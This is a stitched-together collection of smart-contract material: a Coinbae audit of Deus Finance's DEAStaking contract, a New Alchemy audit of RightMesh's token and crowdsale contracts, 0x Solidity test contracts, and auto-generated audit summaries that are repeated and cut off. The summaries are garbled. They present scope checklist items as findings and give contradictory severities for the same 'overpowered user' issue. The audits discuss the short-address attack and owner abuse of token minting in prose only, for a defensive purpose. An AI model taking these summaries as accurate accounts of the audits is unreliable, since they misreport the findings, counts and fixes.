complexInputComplexOutput(ComplexInput memory complexInput) public pure returns (ComplexOutput memory) { return ComplexOutput({ input: complexInput, lorem: hex'12345678', ipsum: hex'87654321', dolor: "amet" }); } /// @dev Tests decoding when the input and output are complex and have more than one argument. function multiInputMultiOutput( uint256, bytes memory, string memory ) public pure returns ( bytes memory, bytes memory, string memory ) { return ( hex'12345678', hex'87654321', "amet" ); } // end tests for `decodeTransactionData`, `decodeReturnData` }
Coinbae Audit DEAStaking from Deus Finance December 2020 Contents Disclaimer 1Introduction, 2 Scope, 5 Synopsis, 7 Best Practice, 8 High Severity, 9 Team, 12 Introduction Audit: In December 2020 Coinbae’s audit report division performed an audit for the Deus Finance team (DEAStaking pool). https://etherscan.io/address/0x1D17d697cAAffE53bf3bFdE761c90D6 1F6ebdc41#code Deus Finance: DEUS lets you trade real-world assets and derivatives, like stocks and commodities, directly on the Ethereum blockchain. As described in the Deus Finance litepaper . DEUS finance is a Decentralized Finance (DeFi) protocol that allows bringing any verifiable digital and non-digital asset onto the blockchain. It boosts the transfer of value across many different markets and exchanges with unprecedented ease, transparency, and security. The launch system is currently being built on the Ethereum-blockchain and will be chain-agnostic in the future. It started out originally as development on a tool to manage the asset basket for a community crypto investment pool. This turned into the vision of DEUS as a DAO-governed, decentralized platform that holds and mirrors assets. More information can be found at https://deus.finance/home/ . 2Introduction Overview: Information: Ticker: DEA Type: Token (0x80ab141f324c3d6f2b18b030f1c4e95d4d658778) Ticker: DEUS Type: Token (0x3b62f3820e0b035cc4ad602dece6d796bc325325) Pool, Asset or Contract address: 0x1D17d697cAAffE53bf3bFdE761c90D61F6ebdc41 Supply: Current: 2,384,600 Explorers: Etherscan.io Websites: https://deus.finance/home/ Links: Github 3Introduction Compiler related issues: It is best practice to use the latest version of the solidity compiler supported by the toolset you use. This so it includes all the latest bug fixes of the solidity compiler. When you use for instance the openzeppelin contracts in your code the solidity version you should use should be 0.8.0 because this is the latest version supported. Caution: The solidity versions used for the audited contracts are 0.6.11 this version has the following known bugs so the compiled contract might be susceptible to: EmptyByteArrayCopy – Medium risk Copying an empty byte array (or string) from memory or calldata to storage can result in data corruption if the target array's length is increased subsequently without storing new data. https://etherscan.io/solcbuginfo?a=EmptyByteArrayCopy DynamicArrayCleanup – Medium risk When assigning a dynamically-sized array with types of size at most 16 bytes in storage causing the assigned array to shrink, some parts of deleted slots were not zeroed out. https://etherscan.io/solcbuginfo?a=DynamicArrayCleanup Advice: Update the contracts to the latest supported version of solidity. https://etherscan.io/address/0x1D17d697cAAffE53bf3bFdE761c90D61F6 ebdc41#code DEA Staking 4Audit Report Scope Assertions and Property Checking: 1. Solidity assert violation. 2. Solidity AssertionFailed event. ERC Standards: 1. Incorrect ERC20 implementation. Solidity Coding Best Practices: 1. Outdated compiler version. 2. No or floating compiler version set. 3. Use of right-to-left-override control character. 4. Shadowing of built-in symbol. 5. Incorrect constructor name. 6. State variable shadows another state variable. 7. Local variable shadows a state variable. 8. Function parameter shadows a state variable. 9. Named return value shadows a state variable. 10. Unary operation without effect Solidity code analysis. 11. Unary operation directly after assignment. 12. Unused state variable. 13. Unused local variable. 14. Function visibility is not set. 15. State variable visibility is not set. 16. Use of deprecated functions: call code(), sha3(), … 17. Use of deprecated global variables (msg.gas, ...). 18. Use of deprecated keywords (throw, var). 19. Incorrect function state mutability. 20. Does the code conform to the Solidity styleguide. Convert code to conform Solidity styleguide: 1. Convert all code so that it is structured accordingly the Solidity styleguide. 5Audit Report Scope Categories: High Severity: High severity issues opens the contract up for exploitation from malicious actors. We do not recommend deploying contracts with high severity issues. Medium Severity Issues: Medium severity issues are errors found in contracts that hampers the effectiveness of the contract and may cause outcomes when interacting with the contract. It is still recommended to fix these issues. Low Severity Issues: Low severity issues are warning of minor impact on the overall integrity of the contract. These can be fixed with less urgency. 6Audit Report 11110 3 8 0Identified Confirmed Critical High Medium Low Analysis: https://etherscan.io/address/0x1D17d697cAAffE53bf3bFdE761c90D6 1F6ebdc41#code Risk: Low (Explained) 7Audit Report Coding best practices: Function could be marked as external SWC-000: Calling each function, we can see that the public function uses 496 gas, while the external function uses only 261. The difference is because in public functions, Solidity immediately copies array arguments to memory, while external functions can read directly from calldata. Memory allocation is expensive, whereas reading from calldata is cheap. So if you can, use external instead of public. Affected lines: 1. function setWallets(address _daoWallet, address _earlyFoundersWallet) public onlyOwner { [#65] 2. function setShares(uint256 _daoShare, uint256 _earlyFoundersShare) public onlyOwner { [#70] 3. function setRewardPerBlock(uint256 _rewardPerBlock) public onlyOwner { [#76] 4. function deposit(uint256 amount) public { [#105] 5. function withdraw(uint256 amount) public { [#123] 6. function emergencyWithdraw() public { [#156] 7. function withdrawAllRewardTokens(address to) public onlyOwner { [#171] 8. function withdrawAllStakedtokens(address to) public onlyOwner { [#178] 8Audit Report High severity issues, Overpowered user: See the update and teams response on page 10. Description: Functions on DEAStaking.sol (setShares, setRewardPerBlock`,setWallets) are callable only from one address if the private key of this address becomes compromised rewards can be changed and this may lead to undesirable consequences. Line 65: functionsetWallets(address_daoWallet,address_earlyFoundersWallet)publ iconlyOwner{daoWallet=_daoWallet;earlyFoundersWallet=_earlyFounders Wallet;} Line 70: functionsetShares(uint256_daoShare,uint256_earlyFoundersShare)public onlyOwner{withdrawParticleCollector();daoShare=_daoShare;earlyFound ersShare=_earlyFoundersShare;} Line 70: functionsetRewardPerBlock(uint256_rewardPerBlock)publiconlyOwner{u pdate();emitRewardPerBlockChanged(rewardPerBlock,_rewardPerBlock);r ewardPerBlock=_rewardPerBlock;} Recommendation: Use a multisig wallet for overpowered users. 9Audit Report Solved issues (Risk moved to Low): Update: After pointing out the high severity issues to the Deus Finance team consensus was reached and corroborated by the Coinbae team. The Deus Finance team did in fact place control of the contracts under ownership of the DAO(Decentralized autonomous organization) as can be seen in this tx id. 0xe054207b2f61b9fbd82f6986a7e8b16462f41b76002e9f6c6fce43220a4 b6e9c Deus Finance DAO link: https://client.aragon.org/#/deus Debugging snippet Deus-DEA: status true Transaction mined and execution succeed transaction hash 0xe054207b2f61b9fbd82f6986a7e8b16462f41b76002e9f6c6fce43220a4b6e9c from 0x8b9C5d6c73b4d11a362B62Bd4B4d3E52AF55C630 to Staking.transferOwnership(address) 0x8Cd408279e966b7e7E1f0b9E5eD8191959d11a19 gas 30940 gas transaction cost 30940 gas hash 0xe054207b2f61b9fbd82f6986a7e8b16462f41b76002e9f6c6fce43220a4b6e9c input 0xf2f...9bc0f decoded input { "address newOwner": "0xd9775d818FC23e07aC4b8eFd4C58972F7c59BC0f" } decoded output - logs [ { "from": "0x8Cd408279e966b7e7E1f0b9E5eD8191959d11a19", "topic": "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", "event": "OwnershipTransferred", "args": { "0": "0x8b9C5d6c73b4d11a362B62Bd4B4d3E52AF55C630", "1": "0xd9775d818FC23e07aC4b8eFd4C58972F7c59BC0f", "previousOwner": "0x8b9C5d6c73b4d11a362B62Bd4B4d3E52AF55C630", "newOwner": "0xd9775d818FC23e07aC4b8eFd4C58972F7c59BC0f", "length": 2 } } ] value 0 wei 10Contract Flow 11 Audit Team Team Lead: Eelko Neven Eelko has been in the it/security space since 1991. His passion started when he was confronted with a formatted hard drive and no tools to undo it. At that point he started reading a lot of material on how computers work and how to make them work for others. After struggling for a few weeks he finally wrote his first HD data recovery program. Ever since then when he was faced with a challenge he just persisted until he had a solution. This mindset helped him tremendously in the security space. He found several vulnerabilities in large corporation servers and notified these corporations in a responsible manner. Among those are Google, Twitter, General Electrics etc. For the last 12 years he has been working as a professional security /code auditor and performed over 1500 security audits / code reviews, he also wrote a similar amount of reports. He has extensive knowledge of the Solidity programming language and this is why he loves to do Defi and other smartcontract reviews. Email: info@coinbae.com 12Coinbae Audit Disclaimer Coinbae audit is not a security warranty, investment advice, or an endorsement of the Deus Finance platform. This audit does not provide a security or correctness guarantee of the audited smart contracts. The statements made in this document should not be interpreted as investment or legal advice, nor should its authors be held accountable for decisions made based on them. Securing smart contracts is a multistep process. One audit cannot be considered enough. We recommend that the the Deus Finance Team put in place a bug bounty program to encourage further analysis of the smart contract by other third parties. 13Conclusion We performed the procedures as laid out in the scope of the audit and there were 11 findings, 8 medium and 3 low. There were also 3 high severity issues that were explained by the team in their response. Subsequently, these issues were removed by Coinbae, although still on the report for transparency’s sake. The medium risk issues do not pose a security risk as they are best practice issues that is why the overall risk level is low.
Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Solidity assert violation. 2.b Fix: Update the contracts to the latest supported version of solidity. Moderate Issues: 3.a Problem: Incorrect ERC20 implementation. 3.b Fix: Update the contracts to the latest supported version of solidity. Major Issues: None Critical Issues: None Observations: It is best practice to use the latest version of the solidity compiler supported by the toolset you use. This so it includes all the latest bug fixes of the solidity compiler. Conclusion: The audit report concluded that there were minor and moderate issues with the code, which can be fixed by updating the contracts to the latest supported version of solidity. Issues Count of Minor/Moderate/Major/Critical: - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 1 Critical: 5.a Problem: Overpowered user 5.b Fix: See the update and teams response on page 10. Observations: - Outdated compiler version - No or floating compiler version set - Use of right-to-left-override control character - Shadowing of built-in symbol - Incorrect constructor name - State variable shadows another state variable - Local variable shadows a state variable - Function parameter shadows a state variable - Named return value shadows a state variable - Unary operation without effect Solidity code analysis - Unary operation directly after assignment - Unused state variable - Unused local variable - Function visibility is not set - State variable visibility is not set - Use of deprecated functions: call code(), sha3(), etc. - Use of deprecated global variables (msg.gas, etc.) - Use of deprecated keywords (throw, var) - Incorrect function state mutability - Does the code conform to the Solidity styleguide Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Functions on DEAStaking.sol (setShares, setRewardPerBlock`,setWallets) are callable only from one address if the private key of this address becomes compromised rewards can be changed and this may lead to undesirable consequences. 2.b Fix: Use a multisig wallet for overpowered users. Moderate: None Major: None Critical: None Observations: After pointing out the high severity issues to the Deus Finance team consensus was reached and corroborated by the Coinbae team. The Deus Finance team did in fact place control of the contracts under ownership of the DAO(Decentralized autonomous organization) as can be seen in this tx id. Conclusion: The audit team concluded that the issue was solved and the risk was moved to low.
/* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.5; library LibDummy { using LibDummy for uint256; uint256 constant internal SOME_CONSTANT = 1234; function addOne (uint256 x) internal pure returns (uint256 sum) { return x + 1; } function addConstant (uint256 x) internal pure returns (uint256 someConstant) { return x + SOME_CONSTANT; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.5; import "./LibDummy.sol"; contract TestLibDummy { using LibDummy for uint256; function publicAddOne (uint256 x) public pure returns (uint256 result) { return x.addOne(); } function publicAddConstant (uint256 x) public pure returns (uint256 result) { return x.addConstant(); } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma experimental ABIEncoderV2; pragma solidity ^0.5.5; contract AbiGenDummy { uint256 constant internal SOME_CONSTANT = 1234; string constant internal REVERT_REASON = "REVERT_WITH_CONSTANT"; string constant internal REQUIRE_REASON = "REQUIRE_WITH_CONSTANT"; function simplePureFunction () public pure returns (uint256 result) { return 1; } function simplePureFunctionWithInput (uint256 x) public pure returns (uint256 sum) { return 1 + x; } function pureFunctionWithConstant () public pure returns (uint256 someConstant) { return SOME_CONSTANT; } function simpleRevert () public pure { revert("SIMPLE_REVERT"); } function revertWithConstant () public pure { revert(REVERT_REASON); } function simpleRequire () public pure { require(0 > 1, "SIMPLE_REQUIRE"); } function requireWithConstant () public pure { require(0 > 1, REQUIRE_REASON); } /// @dev test that devdocs will be generated and /// that multiline devdocs will look okay /// @param hash description of some hash. Let's make this line super long to demonstrate hanging indents for method params. It has to be more than one hundred twenty columns. /// @param v some v, recovery id /// @param r ECDSA r output /// @param s ECDSA s output /// @return the signerAddress that created this signature. this line too is super long in order to demonstrate the proper hanging indentation in generated code. function ecrecoverFn(bytes32 hash, uint8 v, bytes32 r, bytes32 s) public pure returns (address signerAddress) { bytes memory prefix = "\x19Ethereum Signed Message:\n32"; bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, hash)); return ecrecover(prefixedHash, v, r, s); } event Withdrawal(address indexed _owner, uint _value); function withdraw(uint wad) public { emit Withdrawal(msg.sender, wad); } // test: generated code should normalize address inputs to lowercase // add extra inputs to make sure it works with address in any position function withAddressInput(address x, uint256 a, uint256 b, address y, uint256 c) public pure returns (address z) { return x; } event AnEvent(uint8 param); function acceptsBytes(bytes memory a) public pure {} /// @dev a method that accepts an array of bytes /// @param a the array of bytes being accepted function acceptsAnArrayOfBytes(bytes[] memory a) public pure {} struct Struct { bytes someBytes; uint32 anInteger; bytes[] aDynamicArrayOfBytes; string aString; } function structInput(Struct memory s) public pure {} /// @dev a method that returns a struct /// @return a Struct struct function structOutput() public pure returns(Struct memory s) { bytes[] memory byteArray = new bytes[](2); byteArray[0] = "0x123"; byteArray[1] = "0x321"; return Struct({ someBytes: "0x123", anInteger: 5, aDynamicArrayOfBytes: byteArray, aString: "abc" }); } function methodReturningArrayOfStructs() public pure returns(Struct[] memory) {} struct NestedStruct { Struct innerStruct; string description; } function nestedStructInput(NestedStruct memory n) public pure {} function nestedStructOutput() public pure returns(NestedStruct memory) {} struct StructNotDirectlyUsedAnywhere { uint256 aField; } struct NestedStructWithInnerStructNotUsedElsewhere { StructNotDirectlyUsedAnywhere innerStruct; } function methodUsingNestedStructWithInnerStructNotUsedElsewhere() public pure returns(NestedStructWithInnerStructNotUsedElsewhere memory) {} uint someState; function nonPureMethod() public returns(uint) { return someState += 1; } function nonPureMethodThatReturnsNothing() public { someState += 1; } function methodReturningMultipleValues() public pure returns (uint256, string memory) { return (1, "hello"); } function overloadedMethod(int a) public pure {} function overloadedMethod(string memory a) public pure {} // begin tests for `decodeTransactionData`, `decodeReturnData` /// @dev complex input is dynamic and more difficult to decode than simple input. struct ComplexInput { uint256 foo; bytes bar; string car; } /// @dev complex input is dynamic and more difficult to decode than simple input. struct ComplexOutput { ComplexInput input; bytes lorem; bytes ipsum; string dolor; } /// @dev Tests decoding when both input and output are empty. function noInputNoOutput() public pure { // NOP require(true == true); } /// @dev Tests decoding when input is empty and output is non-empty. function noInputSimpleOutput() public pure returns (uint256) { return 1991; } /// @dev Tests decoding when input is not empty but output is empty. function simpleInputNoOutput(uint256) public pure { // NOP require(true == true); } /// @dev Tests decoding when both input and output are non-empty. function simpleInputSimpleOutput(uint256) public pure returns (uint256) { return 1991; } /// @dev Tests decoding when the input and output are complex. function complexInputComplexOutput(ComplexInput memory complexInput) public pure returns (ComplexOutput memory) { return ComplexOutput({ input: complexInput, lorem: hex'12345678', ipsum: hex'87654321', dolor: "amet" }); } /// @dev Tests decoding when the input and output are complex and have more than one argument. function multiInputMultiOutput( uint256, bytes memory, string memory ) public pure returns ( bytes memory, bytes memory, string memory ) { return ( hex'12345678', hex'87654321', "amet" ); } // end tests for `decodeTransactionData`, `decodeReturnData` }
2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 1/10Published inNew Alchemy New Alchemy Follow Apr 17, 2018·10 min read Save Right Mesh Smart Contract Audit Right Mesh engaged New Alchemy to audit the smart contracts for their “RMESH” token. We focused on identifying security flaws in the design and implementation of the contracts and on finding differences between the contracts’ implementation and their behaviour as described in public documentation. The audit was performed over four days in February and March of 2018. This document describes the issues discovered in the audit. An initial version of this document was provided to RightMesh, who made various changes to their contracts based on New Alchemy’s findings; this document was subsequently updated in March 2018 to reflect the changes. Files Audited The code audited by New Alchemy is in the GitHub repository https://github.com/firstcoincom/solidity at commit hash Th id f hiiil 174Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 2/1051b29dbba309acd6acd40931be07c3b857dee506. The revised contracts after the initial report was delivered are in commit 04c6bb594ad5fa0b8757feba030a1341f59e9f85. RightMesh made additional fixes whose commit hash was not shared with New Alchemy. New Alchemy’s audit was additionally guided by the following documents: RightMesh Whitepaper, version 4.0 (February 14 2018) RightMesh Technical Whitepaper, version 3.1 (December 17 2017) RightMesh Frequently Asked Questions The review identified one critical finding, which allowed the crowd sale owner to issue large quantities of tokens to addresses that it controls by abusing a flaw in the mechanism for minting “predefined tokens”. Three additional minor flaws were identified, all of which are best-practice violations of limited practical exploitability: lack of two-phase ownership transfer and of mitigations for the short-address attack, and token allocation configuration that is less than ideally transparent. An additional minor flaw was documented in some earlier versions of this report but was determined to be a false positive. After reviewing an initial version of this report, RightMesh made changes to their contracts to prevent predefined tokens from being minted multiple times and to mitigate short-address attacks. No changes were made to ownership transfers or to the configuration of predefined token allocations. General Discussion These contracts implement a fairly simple token and crowdsale, drawing heavily on base contracts from the OpenZeppelin project ¹. The code is well commented. However, the RightMesh white papers and other documentation provide very little detail about the operation of the crowd sale or token. It was not clear to New Alchemy who receives pre-defined token allocations; from MeshCrowdsale, how large these allocations are, or why they receive them. Likewise, it was not clear how Timelock fits into the token ecosystem. RightMesh later clarified that the pre-defined token allocations are for the "RightMesh GmbH & Community", "Left & team", "Advisors & TGE costs", and "Airdrop to community", as documented in the RightMesh FAQ. Further, the Timelock contractOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 3/10is used to hold these allocations. Some of the OpenZeppelin base contracts inherited by the RightMesh contracts have changed substantially since the RightMesh contracts were written. Consequently, the RightMesh contracts cannot be built against the head of OpenZeppelin. RightMesh should either copy a fork of the relevant OpenZeppelin contracts into their repository or document the OpenZeppelin release or commit that should be used to build their contracts. Critical Issues Fixed: Predefined tokens can be minted multiple times As its name implies, the function MeshCrowdsale.mintPredefinedTokens mints tokens according to an allocation set during deployment. This function does not check that it has not previously been called, so it can be called multiple times. Despite comments to the contrary, this function is tagged onlyOwner, so this function will only ever be called more than once if an owner makes a mistake or deliberately misbehaves. Further, MeshToken gets deployed in a default state of paused, which prevents any token transfers, and mintPredefinedTokens does check that the balance of each beneficiary is zero, so if mintPredefinedTokens has already been called, subsequent calls should have no effect. However, there are still possible conditions under which a beneficiary could transfer tokens prior to an extra call to mintPredefinedTokens: An owner could call MeshToken.unpause, which would allow all token holders to transfer tokens. MeshToken cannot be re-paused once unpaused, so any call to mintPredefinedTokens after MeshToken has been unpaused may mint additional tokens. An owner could use MeshToken.updateAllowedTransfers to flag a beneficiary as being allowed to make transfers despite MeshToken being paused. In the worst case, a rogue owner deploys MeshCrowdsale with a beneficiary address that it controls, flags that address to permit transfers despite MeshToken being paused, waits for some tokens to be sold, then alternates calls to MeshCrowdsale.mintPredefinedTokens and MeshToken.transfer to allocate up to the remaining crowdsale cap to itself. T tht dfidtk l itd tlhldb dddtOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 4/10To ensure that predefined tokens are only minted once, a control should be added to MeshCrowdsale.mintPredefinedTokensto ensure that it is called at most once. Some sort of control to ensure that MeshToken remains paused until the crowdsale completes may also be useful. Further, the comment or the declaration of mintPredefinedTokens should be amended so that they agree on what users are allowed to call this function. Re-test results: RightMesh added logic to prevent mintPredefinedTokens from being called twice and corrected the function comment to indicate that it can only be called by the owner. Minor Issues Not Fixed: Lack of two-phase ownership transfer In contracts that inherit the common Ownable contract from the OpenZeppelin project^2 (including MeshToken, MeshCrowdsale, and Timelock), a contract has a single owner. That owner can unilaterally transfer ownership to a different address. However, if the owner of a contract makes a mistake in entering the address of an intended new owner, then the contract can become irrecoverably unowned. In order to preclude this, New Alchemy recommends implementing two-phase ownership transfer. In this model, the original owner designates a new owner, but does not actually transfer ownership. The new owner then accepts ownership and completes the transfer. This can be implemented as follows: contract Ownable { address public owner; address public newOwner event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(address(0) != _newOwner); Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 5/10 newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, msg.sender); owner = msg.sender; newOwner = address(0); } } Re-test results: RightMesh opted to preserve the current ownership transfer mechanism. Fixed: Lack of short-address attack protections Some Ethereum clients may create malformed messages if a user is persuaded to call a method on a contract with an address that is not a full 20 bytes long. In such a “short- address attack”, an attacker generates an address whose last byte is 0x00, then sends the first 19 bytes of that address to a victim. When the victim makes a contract method call, it appends the 19-byte address to msg.data followed by a value. Since the high- order byte of the value is almost certainly 0x00, reading 20 bytes from the expected location of the address in msg.data will result in the correct address. However, the value is then left-shifted by one byte, effectively multiplying it by 256 and potentially causing the victim to transfer a much larger number of tokens than intended. msg.data will be one byte shorter than expected, but due to how the EVM works, reads past its end will just return 0x00. This attack effects methods that transfer tokens to destination addresses, where the method parameters include a destination address followed immediately by a value. In the RightMesh contracts, such methods include MeshToken.mint, MeshToken.transfer, MeshToken.transferFrom, MeshToken.approve, MeshToken.increaseApproval, MeshToken.decreaseApproval, (all inherited from OpenZeppelin base contracts), and Timelock.allocateTokens. While the root cause of this flaw is buggy serializers and how the EVM works, it can be easily mitigated in contracts. When called externally, an affected method should verify that msg.data.length is at least the minimum length of the method's expected arguments (for instance, msg.data.length for an external call to Timelock.allocateTokens should be at least 68: 4 for the hash, 32 for the address (including12bytesofpadding)and32forthevalue;someclientsmayaddadditionalOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 6/10(including 12 bytes of padding), and 32 for the value; some clients may add additional padding to the end). This can be implemented in a modifier. External calls can be detected in the following ways: Compare the first four bytes of msg.data against the method hash. If they don't match, then the call is internal and no short-address check is necessary. Avoid creating public methods that may be subject to short-address attacks; instead create only external methods that check for short addresses as described above. public methods can be simulated by having the external methods call private or internal methods that perform the actual operations and that do not check for short-address attacks. Whether or not it is appropriate for contracts to mitigate the short-address attack is a contentious issue among smart-contract developers. Many, including those behind the OpenZeppelin project, have explicitly chosen not to do so. While it is New Alchemy’s position that there is value in protecting users by incorporating low-cost mitigations into likely target functions, RightMesh would not stand out from the community if they also choose not to do so. Re-test results: RightMesh overrode the listed functions to require that msg.data.length is at least 68. All are public, so they may not work properly if called internally from something with a shorter argument list. Not Fixed: Predefined token allocations are not hard-coded According to the RightMesh FAQ, tokens are allocated as follows: 30%: Public distribution (crowdsale) 30%: RightMesh GmbH & Community 20%: Left & team 10%: Advisors & TGE costs 10%: Airdrop to community These last five allocations are controlled at deployment by the beneficiaries and beneficiaryAmounts arrays passed into the constructor for MeshCrowdsale. While this hd h ll id ihblkhi h i b i dbOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 7/10approach does put the allocation data in the blockchain where it can be retrieved by interested parties, the state of the contract is not as easily located or reviewed as its source code. The current predefined token allocation in config/predefined-minting-config.js appears to try five times to assign 100 tokens to the address 0x5D51E3558757Bfdfc527867d046260fD5137Fc0F (this should only succeed once due to the balance check), though this may be test data. For optimal transparency, RightMesh should instead hard-code the allocation percentages or token counts so that anyone reviewing the contract source code can easily verify that tokens were issued as documented. Re-test results: RightMesh opted to preserve the current allocation configuration mechanism. Line by line comments This section lists comments on design decisions and code quality made by New Alchemy during the review. They are not known to represent security flaws. MeshCrowdsale.sol Lines 12, 52 – 53 OpenZeppelin has radically refactored their crowdsale contracts as of late February 2018. Among other things, CappedCrowdsale has been moved, the functionality for starting and ending times has been moved to TimedCrowdsale, and Crowdsale.validPurchase no longer exists. In order to ensure that a version of OpenZeppelin compatible with these contracts can be easily identified, RightMesh should copy a fork of the relevant contracts into their repository or at least document the commit that should be used. Re-test results: RightMesh added a comment to their code indicating that the version of OpenZeppelin at commit hash 4d7c3cca7590e554b76f6d91cbaaae87a6a2e2e3 should be used to build their contracts.Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 8/10Line 42 “og” should be “of”. Re-test results: This issue has been fixed as recommended. Lines 96, 116, 132, 149, 159 There is no need for these functions to return bool: they all unconditionally return true and throw on failure. Removing the return values would make code that calls these functions simpler, as it would not need to check return values. It would also make them marginally cheaper in gas to execute. Re-test results: This issue has been fixed as recommended. Line 167 This function is declared as returning bool, but never returns anything. As above, there is no need for it to return anything. Re-test results: This issue has been fixed as recommended. MeshToken.sol Lines 60 The function should be tagged public or external rather than relying on the default visibility. Re-test results: RightMesh reports fixing this issue as recommended. Timelock.sol Line 91 If cliffReleasePercentage and slopeReleasePercentage ever sum to less than 100, then the remaining fraction of tokens will become available all at once once the slope duration expires, essentially creating a second cliff at the bottom of the slope. If this is not intended behaviour, then the check should be amended to require that the sum is 100%. Re-test results: RightMesh reports that this is intended behaviour.Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 9/10Lines 117, 128, 138, 147, 176 There is no need for these functions to return bool: they all unconditionally return true and throw on failure. Removing the return values would make code that calls these functions simpler, as it would not need to check return values. It would also make them marginally cheaper in gas to execute. Re-test results: RightMesh reports fixing this issue as recommended. Line 157 Consider checking withdrawalPaused in availableForWithdrawal instead of in withdraw. As currently implemented, availableForWithdrawal may report a non-zero quantity available for a paused address, but withdrawal will fail. It would be more intuitive if availableForWithdrawal reported 0 for a paused address. Re-test results: RightMesh reports that this behaviour is by design: it allows employees to see unlocked tokens even if withdrawal is paused. Disclaimer The audit makes no statements or warranties about utility of the code, safety of the code, suitability of the business model, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bugfree status. The audit documentation is for discussion purposes only. New Alchemy is a strategy and technology advisory group specializing in tokenization. One of the only companies to offer a full spectrum of guidance from tactical technical execution to high-level theoretical modeling, New Alchemy provides blockchain technology, token game theory, smart contracts, security audits, and ICO advisory to the most innovative startups worldwide. Get in touch with us at Hello@NewAlchemy.io Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 10/10 About Help Terms Privacy Get the Medium app Open in app Get started
Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Solidity assert violation. 2.b Fix: Update the contracts to the latest supported version of solidity. Moderate Issues: 3.a Problem: Incorrect ERC20 implementation. 3.b Fix: Update the contracts to the latest supported version of solidity. Major Issues: None Critical Issues: None Observations: It is best practice to use the latest version of the solidity compiler supported by the toolset you use. This so it includes all the latest bug fixes of the solidity compiler. Conclusion: The audit report concluded that there were minor and moderate issues with the code, which can be fixed by updating the contracts to the latest supported version of solidity. Issues Count of Minor/Moderate/Major/Critical: - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 1 Critical: 5.a Problem: Overpowered user 5.b Fix: See the update and teams response on page 10. Observations: - Outdated compiler version - No or floating compiler version set - Use of right-to-left-override control character - Shadowing of built-in symbol - Incorrect constructor name - State variable shadows another state variable - Local variable shadows a state variable - Function parameter shadows a state variable - Named return value shadows a state variable - Unary operation without effect Solidity code analysis - Unary operation directly after assignment - Unused state variable - Unused local variable - Function visibility is not set - State variable visibility is not set - Use of deprecated functions: call code(), sha3(), etc. - Use of deprecated global variables (msg.gas, etc.) - Use of deprecated keywords (throw, var) - Incorrect function state mutability - Does the code conform to the Solidity styleguide Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 